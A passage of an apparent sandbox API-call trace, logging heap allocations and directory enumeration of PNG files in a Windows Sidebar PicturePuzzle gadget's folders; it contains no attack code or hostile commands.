RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11feed8 [0080.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122c8a8 [0080.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.810] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a9a2cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a9a2cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bce6c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_bezel.png", cAlternateFileName="")) returned 1 [0080.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.811] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ac042c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ac042c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd0cdf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_drop_shadow.png", cAlternateFileName="")) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b32843, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b32843, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd0cdf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_down.png", cAlternateFileName="")) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b0c6e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b0c6e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd37, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_over.png", cAlternateFileName="")) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ae6589, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ae6589, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ae6589, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ae6589, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 0 [0080.811] GetLastError () returned 0x12 [0080.811] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0080.811] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38888b53, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x38888b53, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8498f944, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8498f944, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5323, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a4e015, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a4e015, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x388aecb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38947229, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6936, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b5aa1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849b5aa1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x389b9643, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7210, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0080.811] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b5aa1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849b5aa1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x389df7a1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849dbbfe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849dbbfe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38cd92f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a01d5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a01d5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38cff457, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a01d5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a01d5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39103941, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a27eb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a27eb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39da8d77, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x493b, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a27eb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a27eb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39eb3709, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x52a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a4e015, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a4e015, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39eb3709, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x531b, dwReserved0=0x0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ac042c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ac042c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a2457d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x46a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5d78a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa3d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="daisies.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5fda07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="glow.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b7eafd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b7eafd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5fda07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_down.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b7eafd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b7eafd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a7c6a6f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_over.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ba4c5a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ba4c5a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ac634d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_up.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bf0f14, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bf0f14, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b719741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c17071, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c17071, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b73f89f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c17071, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c17071, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b73f89f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b7659fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b7b1cb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b84a231, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c89488, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c89488, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c89488, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c89488, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9a0e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9c6fdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cd5742, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cd5742, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9c6fdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cfb89f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cfb89f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cfb89f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cfb89f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0080.812] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d219fc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d219fc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d47b59, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d47b59, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc0245f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0080.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: 